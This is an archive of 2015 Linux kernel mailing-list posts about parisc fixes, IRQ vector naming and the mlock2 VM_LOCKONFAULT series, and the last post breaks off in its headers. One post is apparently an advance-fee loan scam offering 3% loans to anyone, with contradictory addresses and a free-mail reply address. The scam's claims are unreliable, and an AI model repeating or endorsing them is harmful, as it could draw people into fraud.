NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1437155437 15241 80.91.229.3 (17 Jul 2015 17:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jul 2015 17:50:37 +0000 (UTC)
Cc: Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	adi-buildroot-devel@lists.sourceforge.net,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k@lists.linux-m68k.org, linux-alpha@vger.kernel.org,
	"x86@kernel.org" <x86@kernel.org>,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 17 19:50:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZG9mJ-0006Gi-2U
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jul 2015 19:50:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753495AbbGQRu1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jul 2015 13:50:27 -0400
Original-Received: from mail-wi0-f172.google.com ([209.85.212.172]:35904 "EHLO
	mail-wi0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752002AbbGQRu0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jul 2015 13:50:26 -0400
Original-Received: by widjy10 with SMTP id jy10so47064861wid.1
        for <linux-parisc@vger.kernel.org>; Fri, 17 Jul 2015 10:50:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=nWqtWfHmlMNzefTieAte5HbGcQ4lYrvLfeBYpjuJw4I=;
        b=FXuVNqcrtyfFnuwyR7Ap6lE+ZAjsi8eRRrwa3MrygGmHLIh/Lehfuih4iCaaiAhmJs
         Z/isAKAbkrSAxqAOjViTT9VEDyMPeiyOWLSnD/by1kfzcrsBzZ39E6cBFJlA2ZyFK4AM
         lBMDI4g9cyTsCn92ipbMwul28p5VVn5ZmG7YCKMLd05OwZiUsJ2YlvFxSqgom3WShs6L
         K7EoX9nwconFiF25ChYdqDmtyKaC4+wso2lkazSIu2mSmDwUCL5tSVc6Q8QKiCoooEHR
         l+cpPkGQhuV5HX2oD8Je9lP1lAFRm5TyDgmFUCkDoV0i0r9xcYFVtbdFmv6FkVfQwpnX
         3yDA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=nWqtWfHmlMNzefTieAte5HbGcQ4lYrvLfeBYpjuJw4I=;
        b=k7tRJhvHsY+TFRwJ9s+0EyTY56k+DfLEbA4S5eC0sMJDbRd2SMlcDRlR2TwYrWg8hu
         FWG2i8crgXbQjcwjcikWxDMOiPJbHp/zN0pv2ac2s29aX5AiAkNJiVJNHY5viXZTmFxo
         pUUgc5ULNoLsJZaH9zS5FcPjq79D9zGu/Z9ArO5jwmCBcVn+YcBgQK9u6UIMmR8URgyL
         nEhyPf2e/qOeF+r8Vkb1HkyHutUhIOE5dibyJkGehGYTkEkjq1vDlNnxNNMh5RVv56SF
         MXLrcyMhdRXYrDpbZ3+2uOJU/mz1MVDXnYgSnPraY4dgkbrvGK5i5F7QxxBPOtcVc/8k
         YSfw==
X-Gm-Message-State: ALoCoQmCfniWW+kJahbSLb/yupzLOsY1OvLy+5mrqe01ezgz1gJr1Mhq9w/a1pd6ytftY4Sc+98U
X-Received: by 10.180.79.134 with SMTP id j6mr19264778wix.83.1437155425344;
 Fri, 17 Jul 2015 10:50:25 -0700 (PDT)
Original-Received: by 10.28.210.74 with HTTP; Fri, 17 Jul 2015 10:50:05 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.11.1507171558010.18576@nanos>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25843 gmane.linux.kernel.cross-arch:28507 gmane.linux.ports.mips.general:49494 gmane.linux.ports.ia64:25584 gmane.linux.ports.sh.devel:47382 gmane.linux.kernel:1999156 gmane.linux.ports.alpha:3199 gmane.linux.ports.ppc64.devel:115511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25843>

On Fri, Jul 17, 2015 at 9:06 AM, Thomas Gleixner <tglx@linutronix.de> wrote:
> On Sun, 12 Jul 2015, Bjorn Helgaas wrote:
>
>> The per-cpu vector_irq[] table is indexed by CPU vector numbers, and each
>> entry contains an IRQ number.
>>
>> Rename the special values VECTOR_UNDEFINED and VECTOR_RETRIGGERED to
>> IRQ_UNDEFINED and IRQ_RETRIGGERED to indicate that they are in the IRQ
>> number space, not the CPU vector number space.
>
> Makes some sense, but OTOH vector_irq actually reflects the vector
> state not the irq number state. The fact that we store the Linux irq
> number in vector_irq is just an implementation detail.
>
> VECTOR_UNDEFINED is certainly a misnomer; that should be VECTOR_UNUSED
>
> VECTOR_RETRIGGERED is pretty accurate. In the case we retrigger an
> interrupt, we merily use the Linux irq number to figure out which
> vector to kick. And after we retriggered it, we lose the association
> to the Linux irq number completely.
>
> That said, I'm working on storing the irq descriptor pointer in
> vector_irq instead of the irq number, which has the advantage that we
> avoid the lookup of the irq descriptor in the interrupt hotpath.

OK, I'll abandon this.  Thanks for taking a look!

Bjorn
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v4.2
Date: Sun, 19 Jul 2015 09:08:54 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20150719070854.GA3099@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437289759 14975 80.91.229.3 (19 Jul 2015 07:09:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Jul 2015 07:09:19 +0000 (UTC)
Cc: Christophe Jaillet <christophe.jaillet@wanadoo.fr>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 19 09:09:11 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZGiik-0003Ca-5G
	for glpp-linux-parisc@plane.gmane.org; Sun, 19 Jul 2015 09:09:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751150AbbGSHJH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Jul 2015 03:09:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56864 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751026AbbGSHJG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Jul 2015 03:09:06 -0400
Original-Received: from ls3530.box ([92.203.4.19]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MCtLD-1Z78DB2Pqt-009jus; Sun, 19 Jul 2015 09:08:58
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ipYeuX9pPkj8LmKLtP2QXVKjrG4eajM0o6eGLQeIj5xYNUcYMmt
 mOXCw9VE+iOXwcwdVvBNBGDw3F76NDxb5VFosOSx6PYKntqidHzLEk12QIgEkITr4A1mHJc
 /EHuBXRaNGuTbkM1yHOZCXYSfFbsur8Q6ovlE79orSvLcfiDDqK1spB8GKC2NsOOCd4716S
 VDTb3YeNo4zdaP5a26xQQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:aNU1Ge7J/Jo=:m8jHfT3zL+BoxB6tvR0dKi
 wMr1fqhl0jXbdPcZV0YUpl0+6f0xi7ZwvMSmOth3TYwz6yYVZuXJ2YUV/Ecz5p811i8pG7oqf
 /kMtmmUFj7nySQDnC0UQSkxzSh8s8Ehp3hMHwywD78Q1OEpvLLXB3ka3IjbL9scTz2YgdghIl
 YLURhZKn0xVqO5dlCIr9k7NCCp8H0eCPGmPTLf80WcZeOzWUp2a66i8oQpntGxO2s/5cYMGsV
 b/BNTVIwBQhApracmWCA3Dcyi/PEmqEtfPnEvLCOnFC9r/7jNYX6JqaJJT6gjKW970voLEOGg
 4g4Iqxl1AW0MI+nc/xxYN4u3EZEWZ+0539btCv3MSesrJIRzwpXXXxfg1RAheIectziSt0XFU
 QHLAFGk2S8UTwGO7SwwbyBkfTW1BkI57sPQ52NXzgdSiDQftVHUxUQZfVmRm3OikSuuq7Nlyc
 IzTKgKX14E7AW6W1nhhVzRb5x+FNae2tLOxeVj00EfD7nZjRz4QROtsT591bV4v3pJnN7yPNF
 x91SsRB/OnEj0OEoLiIbQ/Lhl5HtuSFIFXsEMjUUkzgpHKpLLmnxL6ZPMac0sltua7Oz67cZf
 0LgoZ3i/ts8+Rvuyu/o7OM99i79lG67TF5ktvKPgPLGN6Mv2HlK2oLv0/PHmKO80KGYiSYJw/
 jhFqLSNW0XZa0ymnRCw40M3D2nW3QfYWgyPkGs+VEXNOxmQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25844 gmane.linux.kernel:1999651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25844>

Hi Linus,

please pull the latest fixes for the parisc architecture for v4.2 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.2-2

A memory leak fix from Christophe Jaillet which was introduced with kernel 4.0
and which leads to kernel crashes on parisc after 1-3 days.

Thanks,
Helge

----------------------------------------------------------------
Christophe Jaillet (1):
      parisc: mm: Fix a memory leak related to pmd not attached to the pgd

 arch/parisc/include/asm/pgalloc.h | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Standard lening bedrijf <rpkaya@konya.edu.tr>
Newsgroups: gmane.linux.ports.parisc
Subject: Meld je nu aan voor meer info / Apply now for more info
Date: Sun, 19 Jul 2015 19:42:22 +0300 (EEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <2128190917.720398.1437324142121.JavaMail.zimbra__38446.5719610036$1437326674$gmane$org@konya.edu.tr>
Reply-To: Standard lening bedrijf <standardloansplccomany129@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437326674 17422 80.91.229.3 (19 Jul 2015 17:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Jul 2015 17:24:34 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 19 19:24:23 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZGsK2-0002JM-Pj
	for glpp-linux-parisc@plane.gmane.org; Sun, 19 Jul 2015 19:24:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754072AbbGSRYQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Jul 2015 13:24:16 -0400
Original-Received: from eposta.konya.edu.tr ([95.183.198.3]:21390 "EHLO
	eposta.konya.edu.tr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753390AbbGSRYA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Jul 2015 13:24:00 -0400
X-Greylist: delayed 599 seconds by postgrey-1.27 at vger.kernel.org; Sun, 19 Jul 2015 13:23:59 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by eposta.konya.edu.tr (Postfix) with ESMTP id 7A0631217C8DA;
	Sun, 19 Jul 2015 20:11:28 +0300 (EEST)
Original-Received: from eposta.konya.edu.tr ([127.0.0.1])
	by localhost (eposta.konya.edu.tr [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id fmu2lTtJFLiE; Sun, 19 Jul 2015 20:11:13 +0300 (EEST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by eposta.konya.edu.tr (Postfix) with ESMTP id 911421217C387;
	Sun, 19 Jul 2015 19:56:16 +0300 (EEST)
DKIM-Filter: OpenDKIM Filter v2.9.2 eposta.konya.edu.tr 911421217C387
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=konya.edu.tr;
	s=37CCEC34-B166-11E4-877D-CFCD70D0BDE7; t=1437324976;
	bh=Z4SetiK0i4MtOfqynbdY5Db2mvzGgrfAWJ+rtpNJb9s=;
	h=Date:From:Reply-To:Message-ID:Subject:MIME-Version:Content-Type:
	 Content-Transfer-Encoding;
	b=AJOY72uHvhVoUGydNRSG7Zc0rd5LqS4UfkawzIz52ftTKhs3Jd1LlfYqpAioaMNpf
	 PMYh2XCqQnYNZ0IuTlJiTVpVfTqqj5oeGAD4rKORy0HrK2aAG6Mm7tA9l5HT28DUCQ
	 +Grp6w3bdOiysriu08o2f+YI5/2OGjsT+KR7uk/g=
X-Virus-Scanned: amavisd-new at eposta.konya.edu.tr
Original-Received: from eposta.konya.edu.tr ([127.0.0.1])
	by localhost (eposta.konya.edu.tr [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id kaknzmyjPbqA; Sun, 19 Jul 2015 19:56:16 +0300 (EEST)
Original-Received: from eposta.konya.edu.tr (eposta.konya.edu.tr [172.42.44.72])
	by eposta.konya.edu.tr (Postfix) with ESMTP id BD8881217C7DA;
	Sun, 19 Jul 2015 19:42:22 +0300 (EEST)
X-Originating-IP: [41.220.68.73]
X-Mailer: Zimbra 8.6.0_GA_1153 (zclient/8.6.0_GA_1153)
Thread-Topic: Meld je nu aan voor meer info / Apply now for more info
Thread-Index: AtkGKb+xfUnUsnzjjBCS6n/I94VpHA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25845>



Head Office Adres: 16 Hanover Square, Mayfair, Londen W1S 1HT
Branch Adres: PO Box 20517 CY-3058 Limassol, Istanbul, Turkije
e-mail:standardloansplccomany129@gmail.com

Heeft u financiering nodig?
Heeft u zakelijke of persoonlijke lening nodig?
Wilt u uw bedrijf te herfinancieren?
Ons bedrijf is gevestigd in de Verenigde Staten en Europa. We geven lening aan een
individu en onderneming op 3% rente per jaar.

Opmerking: Stuur uw reactie Alleen op deze E-mail:
standardloansplccomany129@gmail.com

=======================================================================================================

Do you need funding?
Do you need Business or personal Loan?
Do you wish to refinance your company?
Our company is based in United States and Europe. We give out loan to any
individual and company at 3% interest rate yearly.

Note : Forward your response ONLY to this Email:
standardloansplccomany129@gmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached
 to the pgd
Date: Mon, 20 Jul 2015 22:28:56 +0300 (EEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.11.1507202228030.21509@math.ut.ee>
References: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr> <55A408F5.601@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1437420316 20517 80.91.229.3 (20 Jul 2015 19:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Jul 2015 19:25:16 +0000 (UTC)
Cc: Christophe JAILLET <christophe.jaillet@wanadoo.fr>,
	jejb@parisc-linux.org, mpatocka@redhat.com,
	kirill.shutemov@linux.intel.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 20 21:25:10 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZHGgX-0005EN-MQ
	for glk-linux-kernel-3@plane.gmane.org; Mon, 20 Jul 2015 21:25:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753464AbbGTTY7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 20 Jul 2015 15:24:59 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:57832 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752511AbbGTTY6 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 20 Jul 2015 15:24:58 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 8B997742C93;
	Mon, 20 Jul 2015 22:24:54 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 8BBDB22142A; Mon, 20 Jul 2015 22:28:56 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 7B259221296;
	Mon, 20 Jul 2015 22:28:56 +0300 (EEST)
In-Reply-To: <55A408F5.601@gmx.de>
User-Agent: Alpine 2.11 (LRH 23 2013-08-11)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2000596 gmane.linux.ports.parisc:25846 gmane.linux.kernel.janitors:34885
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2000596>

> Hi Christophe,
> 
> On 13.07.2015 11:32, Christophe JAILLET wrote:
> > Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
> > introduced a memory leak.
> >
> > After this commit, the 'return' statement in pmd_free is executed in all
> > cases. Even for pmd that are not attached to the pgd.
> > So 'free_pages' can never be called anymore, leading to a memory leak.
> 
> That's really great!!! Thanks for spotting this!
> 
> I assume this fixes the leak which killed our debian buildds with OOM
> after an uptime of 1-4 days and which only happened since kernel 4.0.
> Meelis Roos reported the issue already in this thread:
> http://marc.info/?l=linux-parisc&m=142999113232154&w=2

Yes, the patch that is merged in 4.2-rc3 fixed my RP3410 with 1G RAM.

-- 
Meelis Roos (mroos@linux.ee)

From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V3 3/5] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Tue, 21 Jul 2015 17:35:59 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <55AE66DF.1060600@suse.cz>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com> <1436288623-13007-4-git-send-email-emunson@akamai.com> <20150708132351.61c13db6@lwn.net> <20150708203456.GC4669@akamai.com> <20150708151750.75e65859@lwn.net> <20150709184635.GE4669@akamai.com> <20150710101118.5d04d627@lwn.net> <20150710161948.GF4669@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437492975 2638 80.91.229.3 (21 Jul 2015 15:36:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 15:36:15 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>,
	Jonathan Corbet <corbet@lwn.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 21 17:36:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZHZaR-0006Ch-Tq
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Jul 2015 17:36:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755091AbbGUPgH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Jul 2015 11:36:07 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47173 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754817AbbGUPgF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Jul 2015 11:36:05 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id B748DAB02;
	Tue, 21 Jul 2015 15:36:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150710161948.GF4669@akamai.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25847 gmane.linux.ports.alpha:3211 gmane.linux.kernel:2001377 gmane.linux.ports.mips.general:49516 gmane.linux.ports.ppc64.devel:115634 gmane.linux.ports.sparc:21252 gmane.linux.kernel.mm:136019 gmane.linux.kernel.cross-arch:28536 gmane.linux.kernel.api:12970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25847>

On 07/10/2015 06:19 PM, Eric B Munson wrote:
> On Fri, 10 Jul 2015, Jonathan Corbet wrote:
>
>> On Thu, 9 Jul 2015 14:46:35 -0400
>> Eric B Munson <emunson@akamai.com> wrote:
>>
>>>> One other question...if I call mlock2(MLOCK_ONFAULT) on a range that
>>>> already has resident pages, I believe that those pages will not be locked
>>>> until they are reclaimed and faulted back in again, right?  I suspect that
>>>> could be surprising to users.
>>>
>>> That is the case.  I am looking into what it would take to find only the
>>> present pages in a range and lock them, if that is the behavior that is
>>> preferred I can include it in the updated series.
>>
>> For whatever my $0.02 is worth, I think that should be done.  Otherwise
>> the mlock2() interface is essentially nondeterministic; you'll never
>> really know if a specific page is locked or not.
>>
>> Thanks,
>>
>> jon
>
> Okay, I likely won't have the new set out today then.  This change is
> more invasive.  IIUC, I need an equivalent to __get_user_page() skips
> pages which are not present instead of faulting in and the call chain to
> get to it.  Unless there is an easier way that I am missing.

IIRC having page PageMlocked and put on unevictable list isn't necessary 
to prevent it from being reclaimed. It's just to prevent it from being 
scanned for reclaim in the first place. When attempting to unmap the 
page, vma flags are still checked, see the code in try_to_unmap_one(). 
You should probably extend the checks to your new VM_ flag as it is done 
for VM_LOCKED and then you shouldn't need to walk the pages to mlock 
them (although it would probably still be better for the accounting 
accuracy).

> Eric
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V4 5/6] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Tue, 21 Jul 2015 15:59:40 -0400
Lines: 200
Approved: news@gmane.org
Message-ID: <1437508781-28655-6-git-send-email-emunson@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437508803 7550 80.91.229.3 (21 Jul 2015 20:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jul 2015 20:00:03 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 21 21:59:50 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHdha-0003qX-K7
	for glkm-linux-mm-2@m.gmane.org; Tue, 21 Jul 2015 21:59:47 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id AD2B69003C8; Tue, 21 Jul 2015 15:59:44 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id A82459003C7; Tue, 21 Jul 2015 15:59:44 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 972129003C8; Tue, 21 Jul 2015 15:59:44 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
